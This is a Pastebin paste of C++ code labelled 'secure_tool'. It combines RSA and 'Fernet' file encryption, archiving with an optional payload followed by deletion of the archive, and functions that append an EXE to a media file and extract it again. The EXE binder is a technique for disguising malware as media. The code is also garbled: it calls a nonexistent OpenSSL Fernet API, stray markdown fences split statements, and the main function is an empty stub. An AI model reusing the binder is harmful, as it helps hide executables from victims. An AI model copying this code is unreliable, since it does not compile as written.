Advertisement
xGHOSTSECx

lulz.c

Jan 6th, 2024
1,154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.66 KB | None | 0 0
  1. #include <iostream>
  2. #include <fstream>
  3. #include <sstream>
  4. #include <vector>
  5. #include <openssl/rsa.h>
  6. #include <openssl/pem.h>
  7. #include <openssl/fernet.h>
  8. #include <openssl/sha.h>
  9. #include <openssl/rand.h>
  10. #include <openssl/evp.h>
  11. #include <openssl/bio.h>
  12. #include <openssl/buffer.h>
  13. #include <openssl/md5.h>
  14. #include <openssl/err.h>
  15. #include <zip.h>
  16. using namespace std;
  17. // Function to display help menu with examples
  18. void display_help() {
  19.     cout << "Usage: secure_tool [option]\n"
  20.          << "Options:\n"
  21.          << "  -h, --help           Display this help menu\n"
  22.          << "  -u, --upload FILE    Upload a file for processing\n"
  23.          << "Examples:\n"
  24.          << "  secure_tool -u input.txt\n";
  25. }
  26. // Generate or load RSA keys
  27. pair<RSA*, RSA*> generate_rsa_keypair(int key_size = 4096) {
  28.     RSA *private_key = RSA_generate_key(key_size, RSA_F4, nullptr, nullptr);
  29.     RSA *public_key = RSAPublicKey_dup(private_key);
  30.     return make_pair(private_key, public_key);
  31. }
  32. // Save RSA key to a file
  33. void save_rsa_key(RSA *key, const char *filename, const char *passphrase = nullptr) {
  34.     BIO *bio = BIO_new_file(filename, "wb");
  35.     if (!bio) {
  36.         throw runtime_error("Error opening file for writing: " + string(filename));
  37.     }
  38.     unique_ptr<EVP_PKEY, decltype(&EVP_PKEY_free)> evp_key(EVP_PKEY_new(), EVP_PKEY_free);
  39.     EVP_PKEY_set1_RSA(evp_key.get(), key);
  40.     if (passphrase) {
  41.         if (!PEM_write_bio_PKCS8PrivateKey(bio, evp_key.get(), EVP_aes_256_cbc(), nullptr, 0, nullptr, passphrase)) {
  42.             throw runtime_error("Error writing private key to file");
  43.         }
  44.     } else {
  45.         if (!PEM_write_bio_RSAPrivateKey(bio, key, nullptr, nullptr, 0, nullptr, nullptr)) {
  46.             throw runtime_error("Error writing private key to file");
  47.         }
  48.     }
  49. }
  50. // Load RSA key from a file
  51. RSA* load_rsa_key(const char *filename, const char *passphrase = nullptr) {
  52.     BIO *bio = BIO_new_file(filename, "rb");
  53.     if (!bio) {
  54.         throw runtime_error("Error opening file for reading: " + string(filename));
  55.     }
  56.     RSA *key = nullptr;
  57.     unique_ptr<EVP_PKEY, decltype(&EVP_PKEY_free)> evp_key(PEM_read_bio_RSAPrivateKey(bio, nullptr, nullptr, const_cast<char*>(passphrase)), EVP_PKEY_free);
  58.    
  59.     if (evp_key) {
  60.         key = EVP_PKEY_get1_RSA(evp_key.get());
  61.     }
  62.     BIO_free(bio);
  63.     return key;
  64. }
  65. // Encrypt a file using Fernet symmetric encryption
  66. void encrypt_file(const char *file_path, const char *output_path, const string &fernet_key) {
  67.     FILE *file = fopen(file_path, "rb");
  68.     FILE *output_file = fopen(output_path, "wb");
  69.     if (!file || !output_file) {
  70.         throw runtime_error("Error opening files for encryption");
  71.     }
  72.     unique_ptr<FILE, decltype(&fclose)> file_guard(file, fclose);
  73.     unique_ptr<FILE, decltype(&fclose)> output_file_guard(output_file, fclose);
  74.     FERNET_CTX *ctx = FERNET_init(fernet_key.c_str());
  75.     if (!ctx) {
  76.         throw runtime_error("Error initializing Fernet context");
  77.     }
  78.     FERNET_encrypt_file(ctx, file, output_file);
  79.     FERNET_cleanup(ctx);
  80. }
  81. // Decrypt a file using Fernet symmetric encryption
  82. void decrypt_file(const char *file_path, const char *output_path, const string &fernet_key) {
  83.     FILE *file = fopen(file_path, "rb");
  84.     FILE *output_file = fopen(output_path, "wb");
  85.     if (!file || !output_file) {
  86.         throw runtime_error("Error opening files for decryption");
  87.     }
  88.     unique_ptr<FILE, decltype(&fclose)> file_guard(file, fclose);
  89.     unique_ptr<FILE, decltype(&fclose)> output_file_guard(output_file, fclose);
  90.     FERNET_CTX *ctx = FERNET_init(fernet_key.c_str());
  91.     if (!ctx) {
  92.         throw runtime_error("Error initializing Fernet context");
  93.     }
  94.     FERNET_decrypt_file(ctx, file, output_file);
  95.     FERNET_cleanup(ctx);
  96. }
  97. // Sign a file with the RSA private key
  98. void sign_file(const char *file_path, RSA *private_key) {
  99.     FILE *file = fopen(file_path, "rb");
  100.     if (!file) {
  101.         throw runtime_error("Error opening file for signing");
  102.     }
  103.     unique_ptr<FILE, decltype(&fclose)> file_guard(file, fclose);
  104.     fseek(file, 0, SEEK_END);
  105.     long file_size = ftell(file```cpp
  106. );
  107.     fseek(file, 0, SEEK_SET);
  108.     unique_ptr<unsigned char[]> data(new unsigned char[file_size]);
  109.     fread(data.get(), 1, file_size, file);
  110.     fclose(file);
  111.     unique_ptr<unsigned char[]> signature(new unsigned char[RSA_size(private_key)]);
  112.     unsigned int signature_len;
  113.     if (RSA_sign(NID_sha256, data.get(), file_size, signature.get(), &signature_len, private_key) != 1) {
  114.         throw runtime_error("Error signing file");
  115.     }
  116.     FILE *signature_file = fopen((string(file_path) + ".sig").c_str(), "wb");
  117.     if (!signature_file) {
  118.         throw runtime_error("Error opening file for signature");
  119.     }
  120.     unique_ptr<FILE, decltype(&fclose)> signature_file_guard(signature_file, fclose);
  121.     fwrite(signature.get(), 1, signature_len, signature_file);
  122. }
  123. // Verify the digital signature of a file
  124. bool verify_signature(const char *file_path, RSA *public_key) {
  125.     FILE *file = fopen(file_path, "rb");
  126.     if (!file) {
  127.         throw runtime_error("Error opening file for signature verification");
  128.     }
  129.     unique_ptr<FILE, decltype(&fclose)> file_guard(file, fclose);
  130.     fseek(file, 0, SEEK_END);
  131.     long file_size = ftell(file);
  132.     fseek(file, 0, SEEK_SET);
  133.     unique_ptr<unsigned char[]> data(new unsigned char[file_size]);
  134.     fread(data.get(), 1, file_size, file);
  135.     fclose(file);
  136.     FILE *signature_file = fopen((string(file_path) + ".sig").c_str(), "rb");
  137.     if (!signature_file) {
  138.         throw runtime_error("Error opening signature file");
  139.     }
  140.     unique_ptr<FILE, decltype(&fclose)> signature_file_guard(signature_file, fclose);
  141.     fseek(signature_file, 0, SEEK_END);
  142.     long signature_size = ftell(signature_file);
  143.     fseek(signature_file, 0, SEEK_SET);
  144.     unique_ptr<unsigned char[]> signature(new unsigned char[signature_size]);
  145.     fread(signature.get(), 1, signature_size, signature_file);
  146.     int result = RSA_verify(NID_sha256, data.get(), file_size, signature.get(), signature_size, public_key);
  147.     return result == 1;
  148. }
  149. // Calculate the hash of a file
  150. string calculate_hash(const char *file_path) {
  151.     FILE *file = fopen(file_path, "rb");
  152.     if (!file) {
  153.         throw runtime_error("Error opening file for hash calculation");
  154.     }
  155.     unique_ptr<FILE, decltype(&fclose)> file_guard(file, fclose);
  156.     SHA256_CTX sha256_ctx;
  157.     SHA256_Init(&sha256_ctx);
  158.     unsigned char buffer[65536];
  159.     size_t bytes_read;
  160.     while ((bytes_read = fread(buffer, 1, sizeof(buffer), file)) > 0) {
  161.         SHA256_Update(&sha256_ctx, buffer, bytes_read);
  162.     }
  163.     unsigned char hash[SHA256_DIGEST_LENGTH];
  164.     SHA256_Final(hash, &sha256_ctx);
  165.     stringstream ss;
  166.     for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
  167.         ss << hex << setw(2) << setfill('0') << static_cast<int>(hash[i]);
  168.     }
  169.     return ss.str();
  170. }
  171. // Encrypt a Fernet key with RSA public key
  172. string encrypt_fernet_key(const string &fernet_key, RSA *public_key) {
  173.     size_t encrypted_key_len = RSA_size(public_key);
  174.     unique_ptr<unsigned char[]> encrypted_key(new unsigned char[encrypted_key_len]);
  175.     int result = RSA_public_encrypt(fernet_key.size(), reinterpret_cast<const unsigned char *>(fernet_key.c_str()), encrypted_key.get(), public_key, RSA_PKCS1_OAEP_PADDING);
  176.     if (result <= 0) {
  177.         throw runtime_error("Error encrypting Fernet key");
  178.     }
  179.     return string(reinterpret_cast<const char *>(encrypted_key.get()), result);
  180. }
  181. // Decrypt a Fernet key with RSA private key
  182. string decrypt_fernet_key(const string &encrypted_key, RSA *private_key) {
  183.     size_t decrypted_key_len = RSA_size(private_key);
  184.     unique_ptr<unsigned char[]> decrypted_key(new unsigned char[decrypted_key_len]);
  185.     int result = RSA_private_decrypt(encrypted_key.size(), reinterpret_cast<const unsigned char *>(encrypted_key.c_str()), decrypted_key.get(), private_key, RSA_PKCS1_OAEP_PADDING);
  186.     if (result <= 0) {
  187.         throw runtime_error("Error decrypting Fernet key");
  188.     }
  189.     return string(reinterpret_cast<const char *>(decrypted_key.get()), result);
  190. }
  191. // Encrypt multiple files into a single archive
  192. void encrypt_multiple_files(const vector<string> &file_paths, const char *output_archive, const string &fernet_key, const char *payload = nullptr) {
  193.     zip_t *archive = zip_open(output_archive, ZIP_CREATE | ZIP_TRUNCATE, nullptr);
  194.     if (!archive) {
  195.         throw runtime_error("Error creating archive");
  196.     }
  197.     unique_ptr<zip_t, decltype(&zip_close)> archive_guard(archive, zip_close);
  198.     for (const auto &file_path : file_paths) {
  199.         zip_source_t *source = zip_source_file(archive, file_path.c_str(), 0, 0);
  200.         if (!source) {
  201.             throw runtime_error("Error creating source for file: " + string(file_path));
  202.         }
  203.         zip_file_add(archive, file_path.c_str(), source, ZIP_FL_OVERWRITE);
  204.     }
  205.     if (payload) {
  206.         zip_source_t *payload_source = zip_source_buffer(archive, payload, strlen(payload), 0);
  207.         if (!payload_source) {
  208.             throw runtime_error("Error creating source for payload");
  209.         }
  210.         zip_file_add(archive, "payload.txt", payload_source, ZIP_FL_OVERWRITE);
  211.     }
  212.     zip_close(archive);
  213.     encrypt_file(output_archive, (string(output_archive) + ".enc").c_str(), fernet_key.c_str());
  214.     remove(output_archive);
  215. }
  216. // Decrypt a single archive containing multiple files
  217. void decrypt_multiple_files(const char *archive_path, const char *output_dir, const string &fernet_key) {
  218.     decrypt_file(archive_path, (string(archive_path) + ".dec").c_str(), fernet_key.c_str());
  219.     zip_t *archive = zip_open((string(archive_path) + ".dec").c_str(), 0, nullptr);
  220.     if (!archive) {
  221.         throw runtime_error("Error opening decrypted archive");
  222.     }
  223.     unique_ptr<zip_t, decltype(&zip_close)> archive_guard(archive, zip_close);
  224.     for (zip_int64_t i = 0; i < zip_get_num_entries(archive, 0); ++i) {
  225.         zip_stat_t stat;
  226.         zip_stat_index(archive, i, 0, &stat);
  227.         zip_file_t *file = zip_fopen_index(archive, i, 0);
  228.         if (!file) {
  229.             throw runtime_error("Error opening file in decrypted archive: " + string(stat.name));
  230.         }
  231.         string output_path = string(output_dir) + "/" + stat.name;
  232.         FILE *output_file = fopen(output_path.c_str(), "wb");
  233.         if (!output_file) {
  234.             throw runtime_error("Error opening output file: " + output_path);
  235.         }
  236.         unique_ptr<FILE, decltype(&fclose)> output_file_guard(output_file, fclose);
  237.         char buffer[65536];
  238.         zip_fread```cpp
  239. (file, buffer, sizeof(buffer));
  240.         fwrite(buffer, 1, zip_fread(file, buffer, sizeof(buffer)), output_file);
  241.     }
  242. }
  243. // Function to bind an EXE to media
  244. void bind_exe_to_media(const char *media_file, const char *exe_file, const char *output_media_file) {
  245.     FILE *media = fopen(media_file, "rb");
  246.     FILE *exe = fopen(exe_file, "rb");
  247.     FILE *output_media = fopen(output_media_file, "wb");
  248.     if (!media || !exe || !output_media) {
  249.         throw runtime_error("Error opening files for binding");
  250.     }
  251.     unique_ptr<FILE, decltype(&fclose)> media_guard(media, fclose);
  252.     unique_ptr<FILE, decltype(&fclose)> exe_guard(exe, fclose);
  253.     unique_ptr<FILE, decltype(&fclose)> output_media_guard(output_media, fclose);
  254.     fseek(media, 0, SEEK_END);
  255.     long media_size = ftell(media);
  256.     fseek(media, 0, SEEK_SET);
  257.     fseek(exe, 0, SEEK_END);
  258.     long exe_size = ftell(exe);
  259.     fseek(exe, 0, SEEK_SET);
  260.     unique_ptr<unsigned char[]> media_data(new unsigned char[media_size]);
  261.     fread(media_data.get(), 1, media_size, media);
  262.     unique_ptr<unsigned char[]> exe_data(new unsigned char[exe_size]);
  263.     fread(exe_data.get(), 1, exe_size, exe);
  264.     fwrite(media_data.get(), 1, media_size, output_media);
  265.     fwrite(exe_data.get(), 1, exe_size, output_media);
  266. }
  267. // Function to extract the EXE from bound media
  268. void extract_exe_from_media(const char *bound_media_file, const char *output_exe_file) {
  269.     FILE *media = fopen(bound_media_file, "rb");
  270.     FILE *output_exe = fopen(output_exe_file, "wb");
  271.     if (!media || !output_exe) {
  272.         throw runtime_error("Error opening files for extraction");
  273.     }
  274.     unique_ptr<FILE, decltype(&fclose)> media_guard(media, fclose);
  275.     unique_ptr<FILE, decltype(&fclose)> output_exe_guard(output_exe, fclose);
  276.     fseek(media, 0, SEEK_END);
  277.     long media_size = ftell(media);
  278.     fseek(media, 0, SEEK_SET);
  279.     unique_ptr<unsigned char[]> media_data(new unsigned char[media_size]);
  280.     fread(media_data.get(), 1, media_size, media);
  281.     const char *exe_magic_header = "MZ";
  282.     const char *exe_start = strstr(reinterpret_cast<const char *>(media_data.get()), exe_magic_header);
  283.     if (exe_start) {
  284.         fwrite(exe_start, 1, media_size - (exe_start - reinterpret_cast<const char *>(media_data.get())), output_exe);
  285.     } else {
  286.         cout << "No EXE data found in the bound media." << endl;
  287.     }
  288. }
  289. // Main function
  290. int main(int argc, char *argv[]) {
  291.     try {
  292.         if (argc != 3) {
  293.             cerr << "Invalid number of arguments." << endl;
  294.             display_help();
  295.             return 1;
  296.         }
  297.         string option(argv[1]);
  298.         if (option == "-h" || option == "--help") {
  299.             display_help();
  300.             return 0;
  301.         } else if (option == "-u" || option == "--upload") {
  302.             string file_path(argv[2]);
  303.             // Perform file upload processing
  304.             // ...
  305.         } else {
  306.             cerr << "Invalid option: " << option << endl;
  307.             display_help();
  308.             return 1;
  309.         }
  310.     } catch (const exception &e) {
  311.         cerr << "An error occurred: " << e.what() << endl;
  312.         return 1;
  313.     }
  314.     return 0;
  315. }
  316.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement